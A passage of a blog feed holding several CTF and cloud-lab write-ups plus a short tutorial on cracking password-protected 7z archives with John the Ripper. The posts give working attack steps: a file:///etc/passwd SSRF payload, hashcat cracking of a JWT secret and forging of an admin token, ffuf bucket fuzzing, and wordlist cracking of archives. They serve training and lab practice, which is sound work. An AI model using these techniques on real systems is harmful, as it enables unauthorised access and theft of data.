  Challenge Overview
&lt;/h2&gt;

&lt;p&gt;This challenge involves finding a hidden token in a webpage's source code, decoding it using the &lt;strong&gt;ROT13&lt;/strong&gt; cipher, and using it to authenticate against an API endpoint to retrieve the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key concepts:&lt;/strong&gt; ROT13 encoding, API authentication with custom headers&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 – Inspect the Page Source
&lt;/h2&gt;

&lt;p&gt;View the page source and look through the HTML for any hidden comments or metadata. You'll find a hidden token:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1i10uo1ppmhtbae0yjuj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1i10uo1ppmhtbae0yjuj.png" alt="Hidden Token"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The token found is: &lt;code&gt;q3i3y0c3e_g00y5&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Decode the ROT13 Token
&lt;/h2&gt;

&lt;p&gt;The token is ROT13 encoded. Decode it via &lt;a href="https://rot13.com" rel="noopener noreferrer"&gt;rot13.com&lt;/a&gt; or in your terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"q3i3y0c3e_g00y5"&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'A-Za-z'&lt;/span&gt; &lt;span class="s1"&gt;'N-ZA-Mn-za-m'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82ylvihkh2o5gfc1jn8v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82ylvihkh2o5gfc1jn8v.png" alt="Decipher token"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; ROT13 only shifts letters — numbers and special characters stay unchanged.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;q3i3y0c3e_g00y5  →  d3v3l0p3r_t00l5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 3 – Authenticate Against the API
&lt;/h2&gt;

&lt;p&gt;Pass the decoded token as a custom header to the API endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-secret-token: d3v3l0p3r_t00l5"&lt;/span&gt; http://x-ray-vision.aws.jerseyctf.com/api/status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0232pk7cns9j678ucxyy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0232pk7cns9j678ucxyy.png" alt="Flag"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jctf{r0t_y0ur_w4y_t0_4cc3ss}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Pwnsome References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rot13.com" rel="noopener noreferrer"&gt;ROT13 Decoder – rot13.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://curl.se/docs/" rel="noopener noreferrer"&gt;curl Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/information-disclosure" rel="noopener noreferrer"&gt;PortSwigger – Information Disclosure in Source Code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>jerseyctf6</category>
      <category>pwnsome</category>
      <category>ctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>My Favorite OS - Jerseyctf6</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 19 Apr 2026 19:25:07 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/my-favorite-os-jerseyctf6-33o3</link>
      <guid>https://dev.to/davidonlinearchive/my-favorite-os-jerseyctf6-33o3</guid>
      <description>&lt;h2&gt;
  
  
  Step 1 – Explore Available Commands
&lt;/h2&gt;

&lt;p&gt;Start by running the help command in the terminal to see what actions are available.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqaqix0vz9oqxkcm7acro.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqaqix0vz9oqxkcm7acro.png" alt="Help commands" width="800" height="754"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Log In as the Guest User
&lt;/h2&gt;

&lt;p&gt;Use the provided login command to authenticate as the &lt;code&gt;guest&lt;/code&gt; user. The server responds with an automatically generated JWT.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9jpjvaq9dxa8x4h87zi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo9jpjvaq9dxa8x4h87zi.png" alt="Login as guest user" width="800" height="710"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 – Decode the JWT
&lt;/h2&gt;

&lt;p&gt;Head to &lt;a href="https://jwt.io" rel="noopener noreferrer"&gt;jwt.io&lt;/a&gt; and paste the token into the decoder. Inspect the &lt;strong&gt;payload&lt;/strong&gt; section — you'll see something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"guest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our role is &lt;code&gt;user&lt;/code&gt;. To access the admin panel, we need to change this to &lt;code&gt;Admin&lt;/code&gt;. However, we can't just edit the token — the signature will break unless we sign it with the correct secret key.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 – Brute-Force the Secret Key
&lt;/h2&gt;

&lt;p&gt;Since JWTs signed with &lt;code&gt;HS256&lt;/code&gt; use a symmetric secret key, we can attempt to crack it using &lt;strong&gt;Hashcat&lt;/strong&gt; with a wordlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-a&lt;/span&gt; 0 &lt;span class="nt"&gt;-m&lt;/span&gt; 16500 &amp;lt;your_jwt_token&amp;gt; &amp;lt;path_to_wordlist&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-a 0&lt;/code&gt; — dictionary attack mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-m 16500&lt;/code&gt; — hash type for JWT (HS256)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfljrbpcrst9jyh38hnw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfljrbpcrst9jyh38hnw.png" alt="JwT Cracked" width="800" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The secret key is revealed: &lt;strong&gt;&lt;code&gt;windows98&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5 – Forge a New Token
&lt;/h2&gt;

&lt;p&gt;Now that we have the secret key, go back to &lt;a href="https://jwt.io" rel="noopener noreferrer"&gt;jwt.io&lt;/a&gt; and:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Edit the payload — change &lt;code&gt;"role": "user"&lt;/code&gt; to &lt;code&gt;"role": "Admin"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Enter &lt;code&gt;windows98&lt;/code&gt; as the secret in the &lt;strong&gt;Verify Signature&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Copy the newly signed token&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 6 – Access the Admin Panel
&lt;/h2&gt;

&lt;p&gt;Use the forged token to send a request to the protected admin endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /admin/panel &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Authorization: Bearer &amp;lt;forged_token&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx49efkqhjj8pxkx2c20k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx49efkqhjj8pxkx2c20k.png" alt="Flag revealed" width="800" height="703"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;

&lt;p&gt;jctf{w1nd0ws98_1s_th3_b3st_0s_3v3r_937cn2}&lt;/p&gt;

&lt;h2&gt;
  
  
  Pwnsome References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/jwt" rel="noopener noreferrer"&gt;PortSwigger – JWT Attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jwt.io" rel="noopener noreferrer"&gt;jwt.io Debugger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hashcat.net/wiki/" rel="noopener noreferrer"&gt;Hashcat Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>jerseyctf6</category>
      <category>pwnsome</category>
      <category>ctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Local File Inclusion - Forever CTF (web)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 04 Mar 2026 14:58:34 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/local-file-inclusion-forever-ctf-web-25ge</link>
      <guid>https://dev.to/davidonlinearchive/local-file-inclusion-forever-ctf-web-25ge</guid>
      <description>&lt;h3&gt;
  
  
  Exploit SSRF for Local File Disclosure
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8dy2f7gf1n9ciewvpat9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8dy2f7gf1n9ciewvpat9.png" alt="Challenge description" width="600" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this challenge, we analyze a web application that fetches resources based on user-supplied input. This behavior often points to a &lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt; vulnerability.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Identifying the Vulnerability
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb6czz8n9w0ip1md21a28.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb6czz8n9w0ip1md21a28.png" alt="Landing page" width="800" height="327"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We test the application by attempting to access a local system file using the &lt;code&gt;file://&lt;/code&gt; URI scheme. By submitting the payload &lt;code&gt;file:///etc/passwd&lt;/code&gt;, we can check if the server will read and return its own internal configuration files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flw11b16rkbnml35bvp0d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flw11b16rkbnml35bvp0d.png" alt="/etc/Passwd file" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The application successfully returns the contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file. This confirms the application is &lt;strong&gt;SSRF positive&lt;/strong&gt;, specifically allowing for &lt;strong&gt;Local File Disclosure (LFD)&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Retrieving the Flag
&lt;/h3&gt;

&lt;p&gt;The lab description indicates that the flag is located at &lt;code&gt;/flag.txt&lt;/code&gt;. Using the confirmed vulnerability, we modify our payload to target that specific file path:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;file:///flag.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcijjp2c763dlpilzpijg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcijjp2c763dlpilzpijg.png" alt=" " width="799" height="299"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The server processes the request and reveals the flag:&lt;br&gt;
&lt;code&gt;utflag{g0t_y0ur_r3s0urc3!}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>web</category>
      <category>ctf</category>
    </item>
    <item>
      <title>Reveal Hidden Files in Google Storage - Pwnedlabs (Google Cloud pentesting)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 04 Mar 2026 04:15:25 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/reveal-hidden-files-in-google-storage-pwnedlabs-cloud-pentesting-37pc</link>
      <guid>https://dev.to/davidonlinearchive/reveal-hidden-files-in-google-storage-pwnedlabs-cloud-pentesting-37pc</guid>
      <description>&lt;h3&gt;
  
  
  Identifying and Cracking Exposed Cloud Storage Backups
&lt;/h3&gt;

&lt;p&gt;In this challenge, we begin by inspecting the web page elements to uncover an internal Google Cloud Storage URL: &lt;code&gt;https://storage.googleapis.com/it-storage-bucket&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcrcuzoqpgrfcmo0mbyu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcrcuzoqpgrfcmo0mbyu.png" alt="inspect elements" width="799" height="266"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Initial Enumeration
&lt;/h3&gt;

&lt;p&gt;Attempting to list the bucket contents directly via the &lt;code&gt;gcloud&lt;/code&gt; CLI or browser often results in a "Permission Denied" (403) error if listing is disabled, even if individual files are publicly accessible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxode58k4arnelf4vqjk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxode58k4arnelf4vqjk.png" alt="Permission-denied" width="798" height="161"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To bypass this, we perform directory fuzzing to find specific hidden files. Using the &lt;code&gt;ffuf&lt;/code&gt; tool and a targeted backup wordlist, we can identify valid paths.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;ffuf -u https://storage.googleapis.com/it-storage-bucket/FUZZ -w /usr/share/wordlists/backup_files_only.txt -mc 200&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahjebruredtvt4pvkeca.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahjebruredtvt4pvkeca.png" alt="File discovery" width="799" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The fuzzer successfully identifies a match: &lt;code&gt;backup.7z&lt;/code&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Data Exfiltration
&lt;/h3&gt;

&lt;p&gt;Once the file path is confirmed, we exfiltrate the archive to our local machine using the &lt;code&gt;gcloud storage&lt;/code&gt; utility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;gcloud storage cp gs://it-storage-bucket/backup.7z .&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj7k1hkjpz4hpjnwttikq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj7k1hkjpz4hpjnwttikq.png" alt="Data exfil" width="799" height="139"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Cracking the Archive
&lt;/h3&gt;

&lt;p&gt;Since the &lt;code&gt;.7z&lt;/code&gt; file is password-protected, we use &lt;strong&gt;John the Ripper&lt;/strong&gt; to perform a brute-force attack. First, we must convert the archive into a crackable hash format.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step A: Extract the hash&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z2john backup.7z &amp;gt; hash.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step B: Run the cracker&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftcdnnw420xdpus4rgkpm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftcdnnw420xdpus4rgkpm.png" alt="Password cracked" width="798" height="196"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The password is found: &lt;strong&gt;balance&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Retrieving the Flag
&lt;/h3&gt;

&lt;p&gt;With the password in hand, we extract the archive contents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z x backup.7z&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After entering the password &lt;code&gt;balance&lt;/code&gt;, the archive unlocks to reveal the final flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepbh0xez5f65g1xdqhyc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepbh0xez5f65g1xdqhyc.png" alt="flag" width="800" height="489"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>googlecloud</category>
      <category>gcp</category>
      <category>infrastructure</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>How to crack a 7z file on kali linux</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 04 Mar 2026 00:15:18 +0000</pubDate>
      <link>https://dev.to/davidonlinearchive/how-to-crack-a-7z-zip-file-on-kali-linux-5lh</link>
      <guid>https://dev.to/davidonlinearchive/how-to-crack-a-7z-zip-file-on-kali-linux-5lh</guid>
      <description>&lt;h3&gt;
  
  
  Cracking Password-Protected 7z Archives with John the Ripper
&lt;/h3&gt;

&lt;p&gt;Before starting, ensure your system is updated and the necessary utilities are installed:&lt;br&gt;
&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install john john-data p7zip-full -y&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 1: Extract the Archive Hash
&lt;/h3&gt;

&lt;p&gt;John the Ripper cannot crack a &lt;code&gt;.7z&lt;/code&gt; file directly. You must first extract the password hash into a format that John understands. We use the &lt;code&gt;7z2john&lt;/code&gt; utility for this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gebsf0wm1p1ydbs6gi0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gebsf0wm1p1ydbs6gi0.png" alt="Extract hash" width="800" height="52"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z2john secrets.7z &amp;gt; secret_hash.txt&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 2: Crack the Hash with a Wordlist
&lt;/h3&gt;

&lt;p&gt;Once you have the hash file, use a wordlist (like the standard &lt;code&gt;rockyou.txt&lt;/code&gt;) to attempt to crack the password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2nunkh670yo53cxm6jj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2nunkh670yo53cxm6jj.png" alt="crack hash" width="800" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt secret_hash.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If successful, John will display the cleartext password in the terminal. You can view it again later using the &lt;code&gt;--show&lt;/code&gt; flag:&lt;br&gt;
&lt;code&gt;john --show secret_hash.txt&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 3: Extract the Protected Files
&lt;/h3&gt;

&lt;p&gt;Now that you have the password, use the &lt;code&gt;7z&lt;/code&gt; utility to extract the contents of the archive.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsazpe6ta1fa9vpg7ctzd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsazpe6ta1fa9vpg7ctzd.png" alt="documents revealed" width="800" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z x secrets.7z&lt;/code&gt; and password: &lt;code&gt;butterfly&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When prompted, enter the password you cracked in the previous step. Your files will be extracted to the current directory.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>tutorial</category>
